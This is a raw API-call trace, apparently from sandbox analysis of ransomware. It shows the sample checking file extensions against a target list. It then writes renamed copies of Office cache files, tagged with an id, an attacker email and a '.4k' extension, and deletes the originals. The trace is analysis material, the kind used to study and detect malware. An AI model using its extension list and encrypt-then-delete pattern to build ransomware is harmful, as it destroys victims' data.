	[0096.261] WriteFile (in: hFile=0x17c, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0096.262] SetEndOfFile (hFile=0x17c) returned 1
	[0096.262] CloseHandle (hObject=0x17c) returned 1
	[0096.400] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0096.400] SetEndOfFile (hFile=0x184) returned 1
	[0096.408] CloseHandle (hObject=0x184) returned 1
	[0096.408] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0096.408] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1
	[0096.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.409] lstrlenW (lpString=".doc") returned 4
	[0096.409] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0096.409] lstrlenW (lpString=".docx") returned 5
	[0096.409] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0096.410] lstrlenW (lpString=".pdf") returned 4
	[0096.410] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0096.410] lstrlenW (lpString=".xls") returned 4
	[0096.410] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0096.410] lstrlenW (lpString=".xlsx") returned 5
	[0096.410] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0096.410] lstrlenW (lpString=".ppt") returned 4
	[0096.410] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0096.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.410] lstrlenW (lpString=".zip") returned 4
	[0096.410] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0096.410] lstrlenW (lpString=".rar") returned 4
	[0096.410] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0096.410] lstrlenW (lpString=".bz2") returned 4
	[0096.410] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0096.410] lstrlenW (lpString=".7z") returned 3
	[0096.410] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0096.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.410] lstrlenW (lpString=".dbf") returned 4
	[0096.410] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0096.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.410] lstrlenW (lpString=".1cd") returned 4
	[0096.410] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0096.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.410] lstrlenW (lpString=".jpg") returned 4
	[0096.410] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0096.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.411] lstrlenW (lpString=".doc") returned 4
	[0096.411] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0096.411] lstrlenW (lpString=".docx") returned 5
	[0096.411] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0096.411] lstrlenW (lpString=".pdf") returned 4
	[0096.411] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0096.411] lstrlenW (lpString=".xls") returned 4
	[0096.411] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0096.411] lstrlenW (lpString=".xlsx") returned 5
	[0096.411] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0096.411] lstrlenW (lpString=".ppt") returned 4
	[0096.411] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0096.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.411] lstrlenW (lpString=".zip") returned 4
	[0096.411] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0096.411] lstrlenW (lpString=".rar") returned 4
	[0096.411] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0096.411] lstrlenW (lpString=".bz2") returned 4
	[0096.411] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0096.411] lstrlenW (lpString=".7z") returned 3
	[0096.411] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0096.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.411] lstrlenW (lpString=".dbf") returned 4
	[0096.412] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0096.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.412] lstrlenW (lpString=".1cd") returned 4
	[0096.412] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0096.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0096.412] lstrlenW (lpString=".jpg") returned 4
	[0096.412] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0096.412] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0096.412] lstrlenW (lpString="Proof.msi") returned 9
	[0096.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0096.412] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=885760) returned 1
	[0096.412] CloseHandle (hObject=0x184) returned 1
	[0096.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020
	[0096.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.413] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0096.413] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0096.413] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0096.413] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0096.650] GetLastError () returned 0x0
	[0096.650] ReadFile (in: hFile=0x184, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0xd8400, lpOverlapped=0x0) returned 1
	[0097.039] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xd8410, lpOverlapped=0x0) returned 1
	[0097.054] ReadFile (in: hFile=0x184, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
	[0097.054] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0097.054] SetEndOfFile (hFile=0x1d8) returned 1
	[0097.054] CloseHandle (hObject=0x1d8) returned 1
	[0097.270] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0097.270] SetEndOfFile (hFile=0x184) returned 1
	[0097.279] CloseHandle (hObject=0x184) returned 1
	[0097.279] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0097.279] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1
	[0097.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.280] lstrlenW (lpString=".doc") returned 4
	[0097.280] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0097.280] lstrlenW (lpString=".docx") returned 5
	[0097.280] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0097.280] lstrlenW (lpString=".pdf") returned 4
	[0097.280] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0097.280] lstrlenW (lpString=".xls") returned 4
	[0097.280] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0097.280] lstrlenW (lpString=".xlsx") returned 5
	[0097.280] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0097.280] lstrlenW (lpString=".ppt") returned 4
	[0097.280] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0097.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.280] lstrlenW (lpString=".zip") returned 4
	[0097.280] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0097.280] lstrlenW (lpString=".rar") returned 4
	[0097.280] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0097.280] lstrlenW (lpString=".bz2") returned 4
	[0097.281] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0097.281] lstrlenW (lpString=".7z") returned 3
	[0097.281] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0097.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.281] lstrlenW (lpString=".dbf") returned 4
	[0097.281] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0097.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.281] lstrlenW (lpString=".1cd") returned 4
	[0097.281] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0097.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.281] lstrlenW (lpString=".jpg") returned 4
	[0097.281] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0097.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.281] lstrlenW (lpString=".doc") returned 4
	[0097.281] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0097.281] lstrlenW (lpString=".docx") returned 5
	[0097.281] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0097.281] lstrlenW (lpString=".pdf") returned 4
	[0097.281] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0097.281] lstrlenW (lpString=".xls") returned 4
	[0097.281] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0097.281] lstrlenW (lpString=".xlsx") returned 5
	[0097.281] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0097.281] lstrlenW (lpString=".ppt") returned 4
	[0097.281] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0097.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.282] lstrlenW (lpString=".zip") returned 4
	[0097.282] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0097.282] lstrlenW (lpString=".rar") returned 4
	[0097.282] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0097.282] lstrlenW (lpString=".bz2") returned 4
	[0097.282] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0097.282] lstrlenW (lpString=".7z") returned 3
	[0097.282] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0097.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.282] lstrlenW (lpString=".dbf") returned 4
	[0097.282] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0097.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.282] lstrlenW (lpString=".1cd") returned 4
	[0097.282] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0097.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0097.282] lstrlenW (lpString=".jpg") returned 4
	[0097.282] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0097.283] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0097.283] lstrlenW (lpString="Office32MUI.msi") returned 15
	[0097.283] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0097.283] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=873984) returned 1
	[0097.283] CloseHandle (hObject=0x184) returned 1
	[0097.283] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020
	[0097.283] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0097.283] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0097.284] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0097.284] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0097.284] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0097.284] GetLastError () returned 0x0
	[0097.284] ReadFile (in: hFile=0x184, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0xd5600, lpOverlapped=0x0) returned 1
	[0097.476] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xd5610, lpOverlapped=0x0) returned 1
	[0098.332] ReadFile (in: hFile=0x184, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
	[0098.332] WriteFile (in: hFile=0x1d8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0098.332] SetEndOfFile (hFile=0x1d8) returned 1
	[0098.332] CloseHandle (hObject=0x1d8) returned 1
	[0098.344] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.344] SetEndOfFile (hFile=0x184) returned 1
	[0098.355] CloseHandle (hObject=0x184) returned 1
	[0098.356] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0098.356] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1
	[0098.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.356] lstrlenW (lpString=".doc") returned 4
	[0098.356] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0098.356] lstrlenW (lpString=".docx") returned 5
	[0098.356] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0098.356] lstrlenW (lpString=".pdf") returned 4
	[0098.356] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0098.357] lstrlenW (lpString=".xls") returned 4
	[0098.357] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0098.357] lstrlenW (lpString=".xlsx") returned 5
	[0098.357] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0098.357] lstrlenW (lpString=".ppt") returned 4
	[0098.357] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0098.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.357] lstrlenW (lpString=".zip") returned 4
	[0098.357] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0098.357] lstrlenW (lpString=".rar") returned 4
	[0098.357] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0098.357] lstrlenW (lpString=".bz2") returned 4
	[0098.357] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0098.357] lstrlenW (lpString=".7z") returned 3
	[0098.357] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0098.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.357] lstrlenW (lpString=".dbf") returned 4
	[0098.357] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0098.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.357] lstrlenW (lpString=".1cd") returned 4
	[0098.357] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0098.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.358] lstrlenW (lpString=".jpg") returned 4
	[0098.358] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0098.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.358] lstrlenW (lpString=".doc") returned 4
	[0098.358] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0098.358] lstrlenW (lpString=".docx") returned 5
	[0098.358] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0098.358] lstrlenW (lpString=".pdf") returned 4
	[0098.358] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0098.639] lstrlenW (lpString=".xls") returned 4
	[0098.639] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0098.639] lstrlenW (lpString=".xlsx") returned 5
	[0098.639] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0098.639] lstrlenW (lpString=".ppt") returned 4
	[0098.639] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0098.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.639] lstrlenW (lpString=".zip") returned 4
	[0098.639] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0098.639] lstrlenW (lpString=".rar") returned 4
	[0098.639] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0098.639] lstrlenW (lpString=".bz2") returned 4
	[0098.639] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0098.639] lstrlenW (lpString=".7z") returned 3
	[0098.639] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0098.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.640] lstrlenW (lpString=".dbf") returned 4
	[0098.640] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0098.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.640] lstrlenW (lpString=".1cd") returned 4
	[0098.640] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0098.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0098.640] lstrlenW (lpString=".jpg") returned 4
	[0098.640] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0098.640] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0098.640] lstrlenW (lpString="InfLR.cab") returned 9
	[0098.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0098.640] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=18874884) returned 1
	[0098.640] CloseHandle (hObject=0x184) returned 1
	[0098.641] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020
	[0098.641] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0098.641] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
